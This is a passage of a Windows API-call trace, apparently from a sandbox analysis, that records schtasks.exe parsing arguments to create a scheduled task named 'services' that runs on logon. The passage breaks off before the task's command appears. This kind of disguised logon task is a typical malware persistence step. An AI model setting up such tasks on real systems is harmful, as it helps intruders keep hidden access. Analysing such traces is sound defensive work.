lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0060.000] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0xdc360 | out: lpData=0xdc360) returned 1 [0060.000] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0060.000] VerQueryValueW (in: pBlock=0xdc360, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27f6c8, puLen=0x27f730 | out: lplpBuffer=0x27f6c8*=0xdc6fc, puLen=0x27f730) returned 1 [0060.002] _memicmp (_Buf1=0xdbbf0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.002] _vsnwprintf (in: _Buffer=0xdbd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27f6a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0060.003] VerQueryValueW (in: pBlock=0xdc360, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27f738, puLen=0x27f728 | out: lplpBuffer=0x27f738*=0xdc528, puLen=0x27f728) returned 1 [0060.003] lstrlenW (lpString="schtasks.exe") returned 12 [0060.003] lstrlenW (lpString="schtasks.exe") returned 12 [0060.003] lstrlenW (lpString=".EXE") returned 4 [0060.003] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0060.004] lstrlenW (lpString="schtasks.exe") returned 12 [0060.004] lstrlenW (lpString=".EXE") returned 4 [0060.004] _memicmp (_Buf1=0xdbbf0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.004] lstrlenW (lpString="schtasks") returned 8 [0060.004] GetProcessHeap () returned 0xc0000 [0060.004] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5ea0 [0060.004] GetProcessHeap () returned 0xc0000 [0060.004] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcc70 [0060.005] GetProcessHeap () returned 0xc0000 [0060.005] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcca0 [0060.005] GetProcessHeap () returned 0xc0000 [0060.005] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdccd0 [0060.005] GetProcessHeap () returned 0xc0000 [0060.005] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdbc10 [0060.005] _memicmp (_Buf1=0xdbc10, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.005] GetProcessHeap () returned 0xc0000 [0060.005] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0xa0) returned 0xdc190 [0060.005] GetProcessHeap () returned 0xc0000 [0060.005] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcd00 [0060.005] GetProcessHeap () returned 0xc0000 [0060.005] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcd30 [0060.005] GetProcessHeap () returned 0xc0000 [0060.005] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcd60 [0060.005] GetProcessHeap () returned 0xc0000 [0060.005] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdbc30 [0060.005] _memicmp (_Buf1=0xdbc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.005] GetProcessHeap () returned 0xc0000 [0060.005] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x200) returned 0xdd440 [0060.005] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0xdd440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0060.006] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0060.006] GetProcessHeap () returned 0xc0000 [0060.006] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x30) returned 0xd7c10 [0060.006] _vsnwprintf (in: _Buffer=0xdc190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27f6a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0060.006] GetProcessHeap () returned 0xc0000 [0060.006] GetProcessHeap () returned 0xc0000 [0060.006] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc360) returned 1 [0060.006] GetProcessHeap () returned 0xc0000 [0060.006] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdc360) returned 0x74e [0060.007] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc360 | out: hHeap=0xc0000) returned 1 [0060.007] SetLastError (dwErrCode=0x0) [0060.007] GetThreadLocale () returned 0x409 [0060.007] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.007] lstrlenW (lpString="?") returned 1 [0060.007] GetThreadLocale () returned 0x409 [0060.007] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.007] lstrlenW (lpString="create") returned 6 [0060.007] GetThreadLocale () returned 0x409 [0060.007] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.007] lstrlenW (lpString="delete") returned 6 [0060.007] GetThreadLocale () returned 0x409 [0060.007] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.007] lstrlenW (lpString="query") returned 5 [0060.007] GetThreadLocale () returned 0x409 [0060.007] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.007] lstrlenW (lpString="change") returned 6 [0060.008] GetThreadLocale () returned 0x409 [0060.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.008] lstrlenW (lpString="run") returned 3 [0060.008] GetThreadLocale () returned 0x409 [0060.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.008] lstrlenW (lpString="end") returned 3 [0060.008] GetThreadLocale () returned 0x409 [0060.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.008] lstrlenW (lpString="showsid") returned 7 [0060.008] GetThreadLocale () returned 0x409 [0060.008] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0060.008] SetLastError (dwErrCode=0x0) [0060.008] SetLastError (dwErrCode=0x0) [0060.008] lstrlenW (lpString="/create") returned 7 [0060.008] lstrlenW (lpString="-/") returned 2 [0060.008] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.008] lstrlenW (lpString="?") returned 1 [0060.008] lstrlenW (lpString="?") returned 1 [0060.008] GetProcessHeap () returned 0xc0000 [0060.008] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdc240 [0060.008] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.008] GetProcessHeap () returned 0xc0000 [0060.008] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0xa) returned 0xdc360 [0060.008] lstrlenW (lpString="create") returned 6 [0060.008] GetProcessHeap () returned 0xc0000 [0060.008] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdc380 [0060.009] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.009] GetProcessHeap () returned 0xc0000 [0060.009] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x14) returned 0xdc3a0 [0060.009] _vsnwprintf (in: _Buffer=0xdc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0060.009] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0060.009] lstrlenW (lpString="|?|") returned 3 [0060.009] lstrlenW (lpString="|create|") returned 8 [0060.009] SetLastError (dwErrCode=0x490) [0060.009] lstrlenW (lpString="create") returned 6 [0060.009] lstrlenW (lpString="create") returned 6 [0060.009] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.009] GetProcessHeap () returned 0xc0000 [0060.009] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc360) returned 1 [0060.009] GetProcessHeap () returned 0xc0000 [0060.009] RtlReAllocateHeap (Heap=0xc0000, Flags=0xc, Ptr=0xdc360, Size=0x14) returned 0xdc3c0 [0060.009] lstrlenW (lpString="create") returned 6 [0060.009] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.009] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0060.009] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0060.009] lstrlenW (lpString="|create|") returned 8 [0060.009] lstrlenW (lpString="|create|") returned 8 [0060.009] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0060.009] SetLastError (dwErrCode=0x0) [0060.009] SetLastError (dwErrCode=0x0) [0060.009] SetLastError (dwErrCode=0x0) [0060.010] lstrlenW (lpString="/tn") returned 3 [0060.010] lstrlenW (lpString="-/") returned 2 [0060.010] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.010] lstrlenW (lpString="?") returned 1 [0060.010] lstrlenW (lpString="?") returned 1 [0060.010] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.010] lstrlenW (lpString="tn") returned 2 [0060.010] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.010] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0060.010] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0060.010] lstrlenW (lpString="|?|") returned 3 [0060.010] lstrlenW (lpString="|tn|") returned 4 [0060.010] SetLastError (dwErrCode=0x490) [0060.010] lstrlenW (lpString="create") returned 6 [0060.010] lstrlenW (lpString="create") returned 6 [0060.010] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.010] lstrlenW (lpString="tn") returned 2 [0060.010] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.010] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0060.010] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0060.010] lstrlenW (lpString="|create|") returned 8 [0060.010] lstrlenW (lpString="|tn|") returned 4 [0060.010] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0060.010] SetLastError (dwErrCode=0x490) [0060.011] lstrlenW (lpString="delete") returned 6 [0060.011] lstrlenW (lpString="delete") returned 6 [0060.011] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.011] lstrlenW (lpString="tn") returned 2 [0060.011] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.011] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|delete|") returned 8 [0060.011] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0060.011] lstrlenW (lpString="|delete|") returned 8 [0060.011] lstrlenW (lpString="|tn|") returned 4 [0060.011] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0060.011] SetLastError (dwErrCode=0x490) [0060.011] lstrlenW (lpString="query") returned 5 [0060.011] lstrlenW (lpString="query") returned 5 [0060.011] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.011] lstrlenW (lpString="tn") returned 2 [0060.011] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.011] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|query|") returned 7 [0060.011] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0060.011] lstrlenW (lpString="|query|") returned 7 [0060.011] lstrlenW (lpString="|tn|") returned 4 [0060.011] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0060.011] SetLastError (dwErrCode=0x490) [0060.011] lstrlenW (lpString="change") returned 6 [0060.011] lstrlenW (lpString="change") returned 6 [0060.012] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.012] lstrlenW (lpString="tn") returned 2 [0060.012] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.012] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|change|") returned 8 [0060.012] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0060.012] lstrlenW (lpString="|change|") returned 8 [0060.012] lstrlenW (lpString="|tn|") returned 4 [0060.012] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0060.012] SetLastError (dwErrCode=0x490) [0060.012] lstrlenW (lpString="run") returned 3 [0060.012] lstrlenW (lpString="run") returned 3 [0060.012] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.012] lstrlenW (lpString="tn") returned 2 [0060.012] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.012] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|run|") returned 5 [0060.012] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0060.012] lstrlenW (lpString="|run|") returned 5 [0060.012] lstrlenW (lpString="|tn|") returned 4 [0060.012] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0060.012] SetLastError (dwErrCode=0x490) [0060.013] lstrlenW (lpString="end") returned 3 [0060.013] lstrlenW (lpString="end") returned 3 [0060.013] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.013] lstrlenW (lpString="tn") returned 2 [0060.013] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.013] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|end|") returned 5 [0060.013] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0060.013] lstrlenW (lpString="|end|") returned 5 [0060.013] lstrlenW (lpString="|tn|") returned 4 [0060.013] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0060.013] SetLastError (dwErrCode=0x490) [0060.013] lstrlenW (lpString="showsid") returned 7 [0060.013] lstrlenW (lpString="showsid") returned 7 [0060.013] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.013] GetProcessHeap () returned 0xc0000 [0060.013] HeapValidate (hHeap=0xc0000, dwFlags=0x0, lpMem=0xdc3c0) returned 1 [0060.013] GetProcessHeap () returned 0xc0000 [0060.013] RtlReAllocateHeap (Heap=0xc0000, Flags=0xc, Ptr=0xdc3c0, Size=0x16) returned 0xdc3c0 [0060.013] lstrlenW (lpString="tn") returned 2 [0060.013] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.013] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|showsid|") returned 9 [0060.013] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tn|") returned 4 [0060.014] lstrlenW (lpString="|showsid|") returned 9 [0060.014] lstrlenW (lpString="|tn|") returned 4 [0060.014] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0060.014] SetLastError (dwErrCode=0x490) [0060.014] SetLastError (dwErrCode=0x490) [0060.014] SetLastError (dwErrCode=0x0) [0060.014] lstrlenW (lpString="/tn") returned 3 [0060.014] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0060.014] SetLastError (dwErrCode=0x490) [0060.014] SetLastError (dwErrCode=0x0) [0060.014] lstrlenW (lpString="/tn") returned 3 [0060.014] GetProcessHeap () returned 0xc0000 [0060.014] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x8) returned 0xdc360 [0060.014] GetProcessHeap () returned 0xc0000 [0060.014] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcd90 [0060.014] SetLastError (dwErrCode=0x0) [0060.014] SetLastError (dwErrCode=0x0) [0060.014] lstrlenW (lpString="services") returned 8 [0060.014] lstrlenW (lpString="-/") returned 2 [0060.014] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0060.014] SetLastError (dwErrCode=0x490) [0060.014] SetLastError (dwErrCode=0x490) [0060.014] SetLastError (dwErrCode=0x0) [0060.014] lstrlenW (lpString="services") returned 8 [0060.014] StrChrIW (lpStart="services", wMatch=0x3a) returned 0x0 [0060.014] SetLastError (dwErrCode=0x490) [0060.014] SetLastError (dwErrCode=0x0) [0060.014] lstrlenW (lpString="services") returned 8 [0060.014] GetProcessHeap () returned 0xc0000 [0060.015] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x12) returned 0xdc3f0 [0060.015] GetProcessHeap () returned 0xc0000 [0060.015] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcdc0 [0060.015] SetLastError (dwErrCode=0x0) [0060.015] SetLastError (dwErrCode=0x0) [0060.015] lstrlenW (lpString="/sc") returned 3 [0060.015] lstrlenW (lpString="-/") returned 2 [0060.015] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.015] lstrlenW (lpString="?") returned 1 [0060.015] lstrlenW (lpString="?") returned 1 [0060.015] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.015] lstrlenW (lpString="sc") returned 2 [0060.015] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.015] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0060.015] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0060.015] lstrlenW (lpString="|?|") returned 3 [0060.015] lstrlenW (lpString="|sc|") returned 4 [0060.015] SetLastError (dwErrCode=0x490) [0060.015] lstrlenW (lpString="create") returned 6 [0060.015] lstrlenW (lpString="create") returned 6 [0060.015] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.015] lstrlenW (lpString="sc") returned 2 [0060.015] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.015] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|create|") returned 8 [0060.015] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0060.016] lstrlenW (lpString="|create|") returned 8 [0060.016] lstrlenW (lpString="|sc|") returned 4 [0060.016] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0060.016] SetLastError (dwErrCode=0x490) [0060.016] lstrlenW (lpString="delete") returned 6 [0060.016] lstrlenW (lpString="delete") returned 6 [0060.016] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.016] lstrlenW (lpString="sc") returned 2 [0060.016] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.016] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|delete|") returned 8 [0060.016] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0060.016] lstrlenW (lpString="|delete|") returned 8 [0060.016] lstrlenW (lpString="|sc|") returned 4 [0060.016] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0060.016] SetLastError (dwErrCode=0x490) [0060.016] lstrlenW (lpString="query") returned 5 [0060.016] lstrlenW (lpString="query") returned 5 [0060.016] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.016] lstrlenW (lpString="sc") returned 2 [0060.016] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.016] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|query|") returned 7 [0060.016] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0060.016] lstrlenW (lpString="|query|") returned 7 [0060.016] lstrlenW (lpString="|sc|") returned 4 [0060.017] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0060.017] SetLastError (dwErrCode=0x490) [0060.017] lstrlenW (lpString="change") returned 6 [0060.017] lstrlenW (lpString="change") returned 6 [0060.017] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.017] lstrlenW (lpString="sc") returned 2 [0060.017] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.017] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|change|") returned 8 [0060.017] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0060.017] lstrlenW (lpString="|change|") returned 8 [0060.017] lstrlenW (lpString="|sc|") returned 4 [0060.017] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0060.017] SetLastError (dwErrCode=0x490) [0060.017] lstrlenW (lpString="run") returned 3 [0060.017] lstrlenW (lpString="run") returned 3 [0060.017] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.017] lstrlenW (lpString="sc") returned 2 [0060.017] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.017] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|run|") returned 5 [0060.017] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0060.017] lstrlenW (lpString="|run|") returned 5 [0060.017] lstrlenW (lpString="|sc|") returned 4 [0060.017] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0060.017] SetLastError (dwErrCode=0x490) [0060.017] lstrlenW (lpString="end") returned 3 [0060.018] lstrlenW (lpString="end") returned 3 [0060.018] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.018] lstrlenW (lpString="sc") returned 2 [0060.018] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.018] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|end|") returned 5 [0060.018] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0060.018] lstrlenW (lpString="|end|") returned 5 [0060.018] lstrlenW (lpString="|sc|") returned 4 [0060.018] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0060.018] SetLastError (dwErrCode=0x490) [0060.018] lstrlenW (lpString="showsid") returned 7 [0060.018] lstrlenW (lpString="showsid") returned 7 [0060.018] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.018] lstrlenW (lpString="sc") returned 2 [0060.018] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.018] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|showsid|") returned 9 [0060.018] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|sc|") returned 4 [0060.018] lstrlenW (lpString="|showsid|") returned 9 [0060.018] lstrlenW (lpString="|sc|") returned 4 [0060.018] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0060.018] SetLastError (dwErrCode=0x490) [0060.018] SetLastError (dwErrCode=0x490) [0060.018] SetLastError (dwErrCode=0x0) [0060.018] lstrlenW (lpString="/sc") returned 3 [0060.019] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0060.019] SetLastError (dwErrCode=0x490) [0060.019] SetLastError (dwErrCode=0x0) [0060.019] lstrlenW (lpString="/sc") returned 3 [0060.019] GetProcessHeap () returned 0xc0000 [0060.019] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x8) returned 0xdc410 [0060.019] GetProcessHeap () returned 0xc0000 [0060.019] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdcdf0 [0060.019] SetLastError (dwErrCode=0x0) [0060.019] SetLastError (dwErrCode=0x0) [0060.019] lstrlenW (lpString="ONLOGON") returned 7 [0060.019] lstrlenW (lpString="-/") returned 2 [0060.019] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0060.019] SetLastError (dwErrCode=0x490) [0060.019] SetLastError (dwErrCode=0x490) [0060.019] SetLastError (dwErrCode=0x0) [0060.019] lstrlenW (lpString="ONLOGON") returned 7 [0060.019] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0060.019] SetLastError (dwErrCode=0x490) [0060.019] SetLastError (dwErrCode=0x0) [0060.019] lstrlenW (lpString="ONLOGON") returned 7 [0060.019] GetProcessHeap () returned 0xc0000 [0060.019] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x10) returned 0xdc430 [0060.019] GetProcessHeap () returned 0xc0000 [0060.019] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xdce20 [0060.019] SetLastError (dwErrCode=0x0) [0060.019] SetLastError (dwErrCode=0x0) [0060.019] lstrlenW (lpString="/tr") returned 3 [0060.020] lstrlenW (lpString="-/") returned 2 [0060.020] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.020] lstrlenW (lpString="?") returned 1 [0060.020] lstrlenW (lpString="?") returned 1 [0060.020] _memicmp (_Buf1=0xdc240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.020] lstrlenW (lpString="tr") returned 2 [0060.020] _memicmp (_Buf1=0xdc380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.020] _vsnwprintf (in: _Buffer=0xdc3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|?|") returned 3 [0060.020] _vsnwprintf (in: _Buffer=0xdc3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f6b8 | out: _Buffer="|tr|") returned 4 [0060.020] lstrlenW (lpString="|?|") returned 3 [0060.020] lstrlenW (lpString="|tr|") returned 4 [0060.020] SetLastError (dwErrCode=0x490) [0060.020] lstrlenW (lpString="create") returned 6 [0060.020] lstrlenW (lpString="create") returned 6 [0060.020] _memicmp (_Buf1=0xdc240, 